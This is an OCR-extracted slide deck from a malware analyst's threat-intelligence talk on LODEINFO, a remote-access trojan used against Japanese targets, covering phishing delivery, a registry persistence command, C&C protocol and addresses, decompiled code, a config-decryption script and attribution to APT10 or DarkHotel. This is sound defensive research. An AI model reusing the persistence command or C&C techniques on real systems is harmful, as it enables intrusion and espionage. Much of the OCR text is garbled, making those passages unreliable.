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Who am 1?

« Malware Analyst, Reverse Engineer @ Security Research Center
« One of our missions is analysis of cyber espionages, especially targeting Japan

Cyber Espionage Tradecraft
in the Real World

Adversaries targeting Japan in the second half of 2019
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Research Motivation

- Almost every week / day, we hear the name of RAT

« One day, A RAT caught our attention, called “LODEINFO”
« Unknown code, Rapid Version UP & Changing TTP, etc.
« Contrary to our expectation, Very Active & Persistence..




Agenda

« Overview of LODEINFO

« Actor's TTP

« Deep Dive into LODEINFO
« Who’s behind?

« Conclusion



LODEINFO

LodePNG

PNG encoder and decoder in C and C++, without dependencies ‘R Please confirm

Home page: http://lodev.org/lodepng/ The input file was linked with debug information
and the symbol filename is:
"E:¥Production¥Tool-Developing¥png_info¥Release¥png_info.pdb"
Do you want to look for this file at the specified path

Detailed documentation is included in a large comment in the second hal and the Microsoft Symbol Server?

Documentation

Source code examples using LodePNG can be found in the examples dire|

M Don't display this messaee again

An FAQ can be found on http://lodev.org/lodepng/

Yes No . :
'(vWersion, "v0.1.2");
(pLoadLibraryIAT->kernel.
- O L

» First Observed in Dec 2019. Its version was v0.1.2

« HTTP RAT with basic features. (File UP/DOWN, Inject shellcode, etc.)
* New implementation and no attribution

« Implementing malicious codes inside benign program source

« So far, Observed ONLY IN JAPAN




Targeted Industries we observed

BT & i

Media Defense Think-Tank



Very Active Campaign

21 12 AL SBAShBEH-BEX v R—
2019 4 12 BRANLTAICH T ARBEPREREBR, BHBREKLVSHF,
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THEN T 774 I DEA—LELT LBWEHENALLHR N‘féhf H‘—:u‘/%jwf)bmv
IDEFMET HERMDILYT

Since the middle of December 2019, observed
cyber espionages to organizations and people
FEOEARBERPOR% (5 ﬂiiﬁ&)tﬁzgt%ﬁvﬂ\é:&ﬁ T3, EETIE, HE2 Who are Working in foreiqn poliCV, national

security policy, economic policy domains,
especially US-China relations.
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HHRAH . ARFROIEVSZEBHEREL TS,

BETL—TORBERET HAMBERELCE. SEERSNRMOIILVITICEHEERR
28 (MSS) AL TS ELV DS APTI0 HBIBTICEALIZLY T 7 ANEL"ED a—FLALOE

BB,
EHLBEDHBOCTEEODEIXFINSATATNIL, RELRBIRIET

HETREMLEETEY . KEOLAKNUREFNSE BENSHRLIKELRDILLTEHELHKT
[FHEFL TS,

Source: Information-technology Promotion Agency, Japan (IPA). J-CRAT 2019 2H Report



Attack Vector: Spear Phishing

subject: The head of SVR talks
relationship with Japan

Message to let recipient
to enable macro

W 20200402.doc (223 KB)

The actor has used gmail to deliver and used 163 mail account (free mail in China)
for password recovery.



Recent Attachment

Averid s

JCAD—FEADU TR V.

c:¢.. ¥ . oc

input password to open the doc enable macro and press
[Modify] and [Next] button



Rapid New Release

Dec-19 Jan-20 Feb-20 Mar-20 Apr-20 May-20 Jun-20 Jul-20
~~ v0.3.8
< v0.3.6
< v0.3.5
%~ v034
%~ v0.3.2
7 v0.2.7
>~ v0.1.2

“

—
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Initial Compromise Technique at an early stage (v0.1.2, v0.2.7)

2) Add Run
Registry Key

1) Drop DLL
Attached doc

contains
macro
4) Injects code into svchost
3) Execute by rundli32 it

rundll32 xxxx.dll, main

svchost.exe

*  XOR (16 bytes key) AES + Bit Operation

* Some variants decrypts code in rundil32 memory

11



Initial Compromise Technique later (v0.3.4 ~)

@ —
ﬂ 1) Drop EXE & DLL

Attached doc
including
macro

’ . s, 3) Add Run
Registry Key

K

N N NS NN NS NS NN NS NS RN NS SN RN NS S SN R S

DLL Side-Loading * XOR (1byte key) -> LODEINFO
* AES + Bit Operation - > Config

12



LODEINFO Reuse

South Korea -
Japan Dialogue

MOFA Subsidy

“’

CoVID-19 Ccv

LODEINFO v0.3.X

Massive Spear phishing
emails with various kinds of
decoys

(K



Dual Operation

1st LODEINFO

T

139.180.192[.]19

reg add
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersio
n¥Run /v xxxxxx /t REG_SZ /d
c:¥programdata¥xxxxxx¥xxxxxx.exe /f

“~_‘,ti i\:‘{ .
- s
> 9 :.n ¢ 2nd LODEINFO

v

L

www.evonzae[.]Jcom

AR

Once confirmed the target,

2nd RAT was uploaded to the compromised device.
Uploaded file was another LODEINFO (same version)
Diffs are

* no persistence (manual operation necessary)

 C&C domain specified (all 1st LODEINFO C&C were IPs)
14



Dual Operation Intention

A. 2nd C&C is mothership & hide as much as possible

B. Multiple operators work together simultaneously
« Multiple C&Cs were in the configuration until v0.2.7
« The actor’s tactic is to shorten time for accomplishing objectives
« C&C does not support collaboration of operators

0123456789ABCDEF
http://172.105.2
32.89/ http://13
3.130.121.44/...

15



Infrastructure

£ £ £

27a0dbd5b3a4d0e967908cf bca533b3336240bc5cc68117408debdf c031b786cb0a7479cc72d299dab2f0e3

x x
v0.3.6 ki v0.3.5

® £ £

www.amebaoor.net 327d8070a583bdecc349275b1f018dce df51b04b69db55597878c781397fa25¢. e7¢9d5568ed5c646c410e3928ab9a093

172.105.232.89 .105 0 3 103.140.187.183

LINODE LLC - network administrator Starry Network Limited administr... EStNOC OY M247 Ltd

* All C&C were set up on VPS in other countries than Japan
* Recently, C&C servers were set up in datacenters in Japan

16



Linux(Ubuntu) platform C&C

Enterprise Access

@ sioonv N G] « oo oo ot P

& My Acco

Hinohar:
9%

View Raw Data

@ 172.105.232.89

Country

OpenSSH

SSH-2.0-0penSSH_7.6p1 Ubuntu-4ubuntu®@.3

Japan

OpenSSH

H-2.0-0p 6pl Ubuntu-4ubuntu@.3
25519

AAAAC3NZaC AATInK3qsDgSbz/aDWXfGQThcjBxD+QHQpzncccbyLQ2ms
erprint: 54:a2:0b:5 : af:bf

Kex Algo

nan-group-e
nan-group16

el lman-groupld-sha
diffie-hellman-groupld

rsa-sha2-512



LODEINFO Workflow

Start

Decrypt code

| I I

Load DLLs (API Hashing)

Host Information

P
«

v
Decrypt Config
AES +

Acquire
SeDebugPrivilege

Add Reg Key
for persistence

e Connect C&C
—

Check Response

|

Decrypt Response

Create Thread

SHA512 hash of AES key is same?

—_— Command Handler

18



Encrypted Configuration Format (Bit operation + AES

Encrypted Blob

32 byte 16 byte 4 byte 1 byte

1 Crypto. Cipher. AES
2 hashlib

3 base64

4 sys

5 binascii a2b_hex
6 struct

7

8

10 def decode_2nd(in_buf, - len):

1 out_buf -~ bytearray(100)
v4-=3

13 V8- =-OxFF

O >

va49 1
15 (in_buf[0] -&-2):
V4 -9

v8
18 v27_tupple-=-(4,-0,-1,-0,-2,-0,°1,°0,3,°0,°1,0,2,0,-1,-0)
len-—1 f
va

3_in_ pos_in_idx !

22 out_data_max_idx - (len 1) -~-10 i

V8- f
v8 -1
il

32 gnt?;;iag l)false decrypted Conflg

34 (pos_in_idx -+ 3->v11_in_idx):

struct.unpack_from("<I", -in_buf, -pos_in_idx) [0]
in_id; 4

_in_idx ;_in_idx
39 (pos_in_idx-+3-~-v11_in_idx):
)

42 data-=struct.unpack_from("<I", - in_buf, -pos_in_idx) [0]
S 19




C&C Communication Data Format

Transferred Data

Header
base 64 / \
SHA512 of encoded
AES Key Payload mmd base64 encoded
Len 28 bytes
16 bytes (0x1C)
"""" |
Data L+
v
SHA512 of Payload XOR Payload
XOR XORed Len KEY (Bit Operation + base64 encoded
Tick Count AES)
48 bytes 4 bytes /

1
1
1
1
1
]
:
‘ \ long Len; =====- :
for (i =0;i < 4;i++)

Len[i] = Len[i] » KEY
20



Communication Data Encryption

POST / HTTP/1.1 Fixed String

Content-Type: application/x-www—form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.90 Safari/537.36

Host: 133.130.121[.]44

Content-Length: 216

Connection: Keep-Alive
Cache-Control: no-cache K// Header+‘Pawoad

=9yBOQJ8zPCATCcHUMSuUyIYrQAAACYAgdAGcVAfJAdEIDwgDwuSmo7DTgf8pLONFMv4AhtNcvzTE~
vVmgjQDu3MSVg -nG2Ln5-fn5KGdcpaPaTZ6 [REDACTED] Lt5yV8oWTVTaNHbVC3ys7F3GO0XuPu65 nw-—
XBSL507D80w. . l

System Time As File Time

at Start up MAC Address

Code Page ID Computer Name

21



Anti-Analysis (Shellcode Like)

Off api tbl[1] = v41l;
vl = v59;

2
I aa_C2_CommandHandler, I

s —
— 7

0,

&v85([0] .api_addr([16]):
(*(vi->this + offsetof(struc_stack api,
v25 = post_data;

*off api_tbl = v44;
tid = (*(vl->this + offsetof (struc_stack api, kernel32 CreateThread))) (
o,

kernel32 CloseHandle))) (tid):

v0.1.2

aa_GetBaseAddress proc near

o

aa_GetBaseAddress endp

/ var_4 = dword ptr
push ebp
mov ebp, esp
push ecx
call §$+5
pop eax
sub b 49

T mov [ebp
mov eax,
mov esp,
pop ebp
retn

Vol = " (Vo + 33U).,

vél = v50; /
base addr = aa_ GetBaseAddress();
tid = (v51l->kernel32 CreateThread)

(0, O,|base_addr + Ox411FBO0

v0.2.7~

22



Stack Strings AES & SHA512 Constants

C7
C7
C7
C7
C?
&7
C7
&=
C?
C?
C7
C7
89

45
45
45
45
45
-1
45
45
45
45
45
45
48

Some good tools to find encryption (findcrypt, findcrypt-yara, cryptgrep)

A4
A8
AC
BO
B4
B8
BC
Cco
C4
c8
cC
DO
34

AS
D7
36
C4

AS
D8
Rk

15
63
2B
DB
3E
30
7C
0oC

23
98
C3
A3
DB
10
ES
84

DD
SC
BA
A6
99
CD
FA
BE

87
EF
CE
c2

FD
TF

15

49
72
4E
CD

D4
05
6C
8E

AES KEY

AES IV

e ————

mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov

Lo g v v -

[ebp+key AES], 0DD2315A5h

[ebp+var 58], SCS863D7h

[ebp+var 54], OBAC32B36h
[ebp+var 50], OA6A3DBC4h

[ebp+var 4C], 99DB3EAAN

[ebp+var 48], OCD1030ASh

[ebp+var 44], OFAE47CDS8h

[Ebp+virar_4 C] , BRES4 9Fh
[ebp+iv AES], 0D449FD&7h

[ebp+var 38], 572
[ebp+var 34], 6C4EFBC
[ebp+var 30], EECD15C2Zh
[eax+34h], ecx

Need to add signature to find stacking constants

23



Remote Commands

0x4D Ox5A ‘MZ’ ...
OxE9 ‘UMP’...

)

)

)

Load PE file in memory

Load shellcode in memory

Next Slide

S—

Deleted
inv0.3.8

24



UNIX Like Commands

command show supported commands rm delete file
Is list files print screenshot
send download file from C&C ransom encrypt files
recv upload file to C&C keylog key logging?
memory inject shellcode
kill terminate process . .
« arbitrary command is also supported
cat show file content * e.g. cmd.exe /c ipconfig
cd change current directory
ver show lodeinfo version

e.g. ransom c:¥ransom



Command Implementation History

v0.1.2 v0.2.7 v0.3.2 v0.3.4 v0.3.5 v0.3.6 v0.3.8

command O O O O O O O
Is O O O O O O O
send O O O O O O O
recv O O O O O O O
memory @) O O O O O O
kill O O O O O O O
cat O O O O O O O
cd O O O O O O O
ver O O O O O O O
print O O @ O O
rm O O O
ransom O
keylog

26



ransom (File Encryption) Flow

Receive Target File or directory
from C&C

Target file

Create AES KEY (32bit) + IV (16bit)
from SHA512 Hash of a Data

RSA 2048-bit Encryption (Key & 1V)

Encrypt File

More files?

strcpy (s
strcpy (s
strcpy (s
strcpy (s
strcpy (s
strcpy (s
strcpy (s
strcpy(s
strcpy (s
strcpy (
strcpy (

(

ski
ski
ski
ski
ski
ski
ski
ski
ki
ki
ki
strcpy (ski

3
3
3

_pathoO
B pat.-,
p_path2,
p_path3,
p_paths4,
p_fileO,
p_filel,
p_file2,
p_file3,
p_files,
p_file5,
p_files,

skip encryption list

27



Encrypted File Format

0000h:
0010h:
0020h:
0030h:
0040h:
C0050h:
F0060h:
F0070h:
0080h:
0090h:
[OOAOh:
00BOh:
(00COh:
00DOh:
00EOh:
_00FOh:

C

0100h:
0110n:
*0120h:
10130h:
0140h:
0150h:
0160h:
C0170h:

A = - ~ = ~ ~ . ~ - 2 ar ~ ar aa a

57 4F 57 20 48
41 53 20 54 45
44 2E 2E 2E 00 00 00 OOpsessiu=yRu-3as-) iy iy A vR- s ey i
3E 8D 6C 42|50 AU YC bE 65 7C 5D ED OE E3 8A 60
2D 40 12 6B|1F D2 BD 55 41 3C 5A D5|/83 AA S5E 91
Cl 2B 25 EB F3 F6 85 EC 1C 9D 5A 67 1D 1E 25 50
B2 Al 23 6C C9 6C DA 51 F3 35 8D 5A 4F 9F D5 E7

B4 AE 95 43 A9 E5 1B CE 1C 77 8B 05 A9 34 F3 BE

13 ¢ 5 DC
o RSA Encrypted (256 bytes) e
ac ¢ [AES Key(32bytes) & IV(16bytes)] : 2=
94 1 L A8

OB gu ~r A4 IJIT TN LJd T JaA OO wD JInn 2 vtz \l6 94

1B BF FB E1 5C 18 2C C5 /3B 1F E1 5D 59 BO AA AD
7E 06 B5 71 73 F4 49 67 BC 35 BB 0D 27 2B 2F F4
CA D1 46 D4 CD 03 2E 8A DD 5D 28 32 B4 87 F2 D6
55 3B 00 FF 3C B6 27 6A 94 55 AD 2C 2D

E7 D8 80 71 B0 E9 43 9B|0

01
ES5 D7 ) EB8
E9 B6 9E

>.1BP wne|]i.a$"
-@.k.0MUA<ZOS2AY
A+3866..1..2g..%P
2 #1810065 . 20¥0¢
‘®COA.T.we¢ .®46%
."£1°R}.$!6200%0
C&.3"8"Myx8 -%4.8
q~°41g.kWz " £<a?N
LfyuexSo>|f.-&{«
7. 6(.Ex"Sel' V"
..71™Jau '\ "B:Gd.”
.caa\., A;.ajy°e-
~.pgsdIgks». "+/8
ERFOL. .5¥) (27480
U; .y<9'3"0-,-.1i
.¢2Ac@eqeéC > . <A.
.vjl<.0a"ibeax27
a.»]. Nf|®.~\;/.
axbA¥k.?20 ...0Fieé
é9Ecceh . ZN"*Y B3
rif.zP>| $Arjt
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Coding Miss?

In fact, the developer seems to want to use system time?
Correct: *(systemtime + i)

A



Who is behind?

K10



DarkHotel

- Target Industry is overlapping
« Since 2015 targeting to academic & media sectors have been observed
« Media (especially Korean Peninsula)
« One of objects is foreign policy espionage
- 1st RAT implant is more complicated than LODEINFO
« Multiple downloads
 Filtering target severely (target’s PC MAC address, etc.)
« No similar Malware

31



Complicated 1st foothold establishment Procedure

Matryoshka Attack

1st Downloader

2nd Downloader

3nd Downloader

3nd ma.dk scrobi.db Every 10 min \ d
. c 4’ Download from C&C
To be continued.. i

srdfgm.exe

Every 13 min M Rename download file

as .ps and run
lgm_gt.exe

Every 10 min x
c 4’ Rename from .db
to .exe

smssr.exe

Every 30 min M

BoostPC.exe

Every 30 min’ ; x s

GncSoftware.exe

Mar-2020

32



APT10

- Target Industry is overlapping
- Since 2016, targeting entities in Japan had been observed
- Media, others (various kinds of industries)
« One of objects is foreign policy espionage
« Delivery is similar with LODEINFO
- Simple Office Macro Dropper
« One of RATs, ANEL coding style is similar to LODEINFO

KX



Coding Style Similarity to Early Version ANEL

1. At the beginning of main processing, C&C URLs string is copied to a buffer.

2. C&C Communication data (Encryption + base64)
CryptBinaryString() is used for base64 encoding of encrypted data

3. Fixed User-Agent string is used for HTTP POST
*ANEL uses ObtainUserAgentString(), but RedLeaves variants uses Fixed string

4. Implementing encryption by hand instead of calling encryption libraries
5. Response is read by InternetReadFile(). Create new thread for received command
6. Version string is embedded in the binary.

34



Coding Style Similarity

LODEINFO v0.1.2

buf = (api_tbl 1->msvcrt malloc) (1024):
(*(vl->this + offsetof(struc_stack_api, kernel32 lstrcpy))) (buf,

"http://162.244.32.148/ http:

v4 = vi->this;
v85([0] .api_addr([7] = v4;
StructUrl = v4;
v85([0] .api acd'LF] = v4;

lrawy avrvay = NeCEFENE

ANEL 5.1.1

etErrorMode (2u) ;
v0 = _timeé64(0);
srand (v0) ;

strcpy( (char *)&v2
sub_100018E7 (&v2);
sub_10008AE2 () ;
sub_10008BBD(&vl);




Coding Style Similarity

LODEINFO v0.1.2

ViU’

if ( (*(vS->api_addr[0] + offsetof(

vée = ('(VLC—>ap;_add:[J] + offsetof(s
if ( (*(v10->api_addr[0] + offsetof(st
a3_data,

LODEINFO v0.1.2

ANEL 5.1.1

ANEL 5.1.1

):
onst BYTE *)this, cbBinary, 0x40000001u, 0, &pcchString):
cchString, (unsigned int *)pszString,

&pcchString) )

A (pbBinary, cbBinary,

v7 = (LPCVOID *)lpBuffer

01;

dwNumberOfBytesRead = v47 - nNumberOfBytesToWrite;

if ( v47 < 0x10 )
vZ7 = lpBuffer:

wErrCode + 488),

(char *)v7 + nNumberOfBytesTo

v47 - nNumberOfBytesToWrite,

&dwNumberOfBytesRead)

)

36



Coding Style Similarity

LODEINFO v0.1.2

LODEINFO v0.1.2

p——

3

tid = ('7v;—>th13 + cffse:of(s:::c_stack_ap;1 kernel32 CreateThread)))) (

U,

U,

aa_C2 CommandHandler,
off api_tbl,

’)I

&v85[0] .api addr([16]):

if ( aa_CheckCmd(api_tbl, &v120
{

strcpy(vVersion,| "v0.1.2");

v58 = (pLoadLibraryIAT->kerne

if ( 'vs8 )

ANEL 5.1.1

CioT

LOBYTE (v62) = 3;

0, 0, create thread start_address, vi7, 0, 0);

ANEL 5.1.1

f2 memcpy array(0, (void **)&
write message((int)wv5SS, (int)
strcpy(vél, S5.1.1 xc"));
sub 100018E7( (int) &cbSize, vé
IORVTF (wvE2) = 15

37



ANEL - LODEINFO

ANEL

5.2.2
5.2.0

5.1.2

5.1.1
5.0.0

5.3.0

5.3.2
5.3.1

5.5.0
5.4.1

JUSTICE NEWS

Department of Justice

Office of Publi
FOR IMMEDIATE RELEASE Thursday, December 20, 2018

Two Chinese Hackers Associated With the Ministry of State Security Charged with
Global Computer Intrusion Campaigns Targeting Intellectual Property and Confidential
Business Information

Defendants Were Members of the APT 10 Hacking Group Who Acted in Association with the Tianjin State
Security Bureau and Engaged in Global Computer Intrusions for More Than a Decade, Continuing into
2018, Including Thefts from Managed Service Providers and More Than 45 Technology Companies

The unsealing of an indictment charging Zhu Hua (4:4¢), aka Afwar, aka CVNX, a Godkiller; and Zhang
Shilong (%1 /%), aka Baobeilong, aka Zhang Jianguo, aka Atreexp, both nationals of the People’s Republic of China (China),
with conspiracy to commit computer intrusions, conspiracy to commit wire fraud, and aggravated identity theft was

announced tod:

The announcement was made by Deputy Attorney General Rod J. Rosenstein, U.S. Attorney Geoffrey S. Berman for the
Southern District of New York, Director Christopher A. Wray of the FBI, Director Dermot F. O'Reilly of the Defense Criminal
Investigative Service (DCIS) of the U.S. Department of Defense, and Assistant Attorney General for National Security John
C. Den ers.

0.1.2

LODEINFO

0.3.8
0.3.6
0.3.5

0.3.4

0.3.2
0.2.7
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Comparison

LODEINFO DarkHotel APT10
\IEGIE *~ Media \IEGIE
Victim Foreign Policy »._ Foreign Policy Foreign Policy
e Others Others

Initial Compromised

Spear Phishing
Office Macro

. ~"Spear Phishing
«._ Office Macro

Spear Phishing
Office Macro

TTP Simnle « LNK Simple
* Complicated
LODEINFO * Asruex ANEL
Toolset *  Others REDLEAVES
Others
Infrastructure No Overlapping ]

39



Unknown Threat Actor One Possibility

Japanese: Title Russian: name

Tie 0f Parta T — Destination IP, 3 weeks
Heading Pairs XA ML, I.IH a3BaHMH .-I | / before LODEINFO was

:»:mn . \:lll' i %!:,;r v"w;]-; { en de“vered

HeadingPairs of only 1 doc file contains Russian

El
v3 = aa AES Decrypt (&v13, ecn blob,

. r\n")

bg msg ’
vl3 = vil;
addr = aa Next PE(&v13, (v3 + 1), v4
strcpy(dbg msg, "[3d]: Fp\r\n"):; =
(vil->msvcrt printf) (dbg msg, 92, ad
Debug Message in v0.1.2 o
@ 7. Windows 7 npodeccvonansHan



Attribution Theories

A. LODEINFO is a new toolset of APT10

B. LODEINFO is a new toolset of DarkHotel

 Different TTP from observed TTP in the past
- Copycat for False Flag

C. LODEINFO is a toolset of Unknown Group

« Copycat APT10 toolset & TTP for making up for development skill
* Nexus to Russian region

41



Conclusion

Current TTP & Toolset is not high sophisticated however
the actor is very active & evolving energetically.

« The activity probably continues.
 Purpose is Foreign Policy & National Security Intelligence

We haven’t found High Confident Attribution yet
* Need to track the actor’s activity more and share with others

LODEINFO can be used in other countries than Japan in future
« One of the possibilities is APT10’s new toolset
 Both espionage and system destruction

42



Thank you

Any Question?
takeuchi-h at macnica.net
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